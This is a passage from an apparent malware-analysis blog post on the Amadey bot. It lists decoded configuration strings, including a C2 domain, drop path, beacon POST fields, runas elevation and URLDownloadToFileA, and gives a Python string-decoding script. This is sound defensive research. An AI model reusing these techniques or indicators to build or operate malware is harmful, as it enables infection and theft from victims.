<ul>
<li>domain : gohaiendo[.]com</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z19aGetSelfDestinationi</code>
<ul>
<li>DropDir : f64a428dfd</li>
<li>DropName : cmualrc.exe</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z11aProcessExePcS_S_S_</code>
<ul>
<li>exe : exe</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z14aGetProgramDirv</code>
<ul>
<li>GetProgDir : ProgramData\</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z10aGetOsArchv, _Z6aGetOsv</code>
<ul>
<li>OS_AR0 : kernel32.dll</li>
<li>OS_AR1 : GetNativeSystemInfo</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z6aBasici</code>
<ul>
<li>Param0 : id=</li>
<li>Param1 : &vs=</li>
<li>Param2 : &ar=</li>
<li>Param3 : &bi=</li>
<li>Param4 : &lv=</li>
<li>Param5 : &os=</li>
<li>Param6 : &av=</li>
<li>Param7 : &pc=</li>
<li>Param8 : &un=</li>
<li>Vers : 1.22</li>
<li>ZoneIdent : <code class="language-plaintext highlighter-rouge">:Zone.Identifier</code></li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z12aWinSockPostPcS_S_</code>
<ul>
<li>Post0 : 1310</li>
<li>Post1 : HTTP/1.1</li>
<li>Post2 : Accept: <em>/</em></li>
<li>Post3 : Content-Type: application/x-www-form-urlencoded</li>
<li>Post4 : Host:</li>
<li>Post5 : Content-Length:</li>
<li>Post6 : POST /</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z11aRunAsAdminPc</code>
<ul>
<li>RunAs : runas</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z9aRunDll32PcS_</code>
<ul>
<li>RunDll_0 : rundll32.exe</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z7aRaportPcS_, _Z6aBasici</code>
<ul>
<li>Script : ppk/index.php</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z11aCheckAdminv</code>
<ul>
<li>Shell : SHELL32.DLL</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z14aCreateProcessPc, _Z6aBasici</code>
<ul>
<li>TimeOut : 40133-98-10017</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">_Z15aUrlMonDownloadPcS_</code>
<ul>
<li>URLMon_0 : urlmon</li>
<li>URLMon_1 : URLDownloadToFileA</li>
</ul>
</li>
</ul>
<p>Here is the simple python script.</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">'''
domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]
AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5, 0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95, 0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA, 0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5, 0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95, 0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0xA4, 0xC7, 0x97, 0xD6, 0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA, 0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66, 0x9C, 0x85]
AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2, 0xC9]#AV00
AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94]
AV02=[0x83, 0xC6, 0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92]
AV03=[0x7D, 0xB8, 0xA7, 0xB8]
AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4, 0xDD]
AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B]
AV06=[0x79, 0xBB, 0xA9]
AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2, 0xCD, 0xA8, 0xB2]
AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5]
AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7]
AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC]
AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8]
CMD0=[0x74, 0xC8, 0xA0]
CMD1=[0x74, 0xC9, 0xA0]
DLL=[0x9C, 0xD1, 0xCE]
DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D]
DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98]
exe=[0x9D, 0xDD, 0xC7]
GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE]
OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE]
OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4, 0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F]
Param0=[0xA1, 0xC9, 0x9F]
Param1=[0x5E, 0xDB, 0xD5, 0xA1]
Param2=[0x5E, 0xC6, 0xD4, 0xA1]
Param3=[0x5E, 0xC7, 0xCB, 0xA1]
Param4=[0x5E, 0xD1, 0xD8, 0xA1]
Param5=[0x5E, 0xD4, 0xD5, 0xA1]
Param6=[0x5E, 0xC6, 0xD8, 0xA1]
Param7=[0x5E, 0xD5, 0xC5, 0xA1]
Param8=[0x5E, 0xDA, 0xD0, 0xA1]
Post0=[0x45, 0x6F]
Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67]
Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D]
Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A, 0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC, 0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B, 0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C]
Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59]
Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4, 0xCC, 0x6E, 0x59]
Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68]
RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6]
RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7, 0x50]
Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0]
Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F]
TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44]
URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7]
URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6, 0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77]
Vers=[0x69, 0x93, 0x94, 0x96]
ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB, 0x96, 0xCD, 0x99, 0xAB]
'''</span>
<span class="n">encoded_str</span><span class="o">=</span><span class="p">[</span><span class="mh">0x9F</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span> <span class="mh">0xCA</span><span class="p">,</span> <span class="mh">0xC5</span><span class="p">,</span> <span class="mh">0x9C</span><span class="p">,</span> <span class="mh">0x9E</span><span class="p">,</span> <span class="mh">0xA7</span><span class="p">,</span> <span class="mh">0x98</span><span class="p">,</span> <span class="mh">0xA5</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0xD1</span><span class="p">,</span> <span class="mh">0x9D</span><span class="p">]</span>
<span class="n">Key</span><span class="o">=</span><span class="s">"8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7"</span>
<span class="n">c</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">encoded_str</span><span class="p">)</span>
<span class="k">if</span> <span class="n">length</span> <span class="o"><=</span> <span class="n">c</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">Key</span><span class="p">);</span>
<span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">encoded_str</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="n">Key</span><span class="p">[</span><span class="n">c</span> <span class="o">%</span> <span class="n">length</span><span class="p">])),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
<span class="c1">#print(encoded_str[c] - ord(Key[c % length]), end='')
</span> <span class="n">c</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre></div></div>
<h1 id="references">References</h1>
<ul>
<li>https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/</li>
</ul>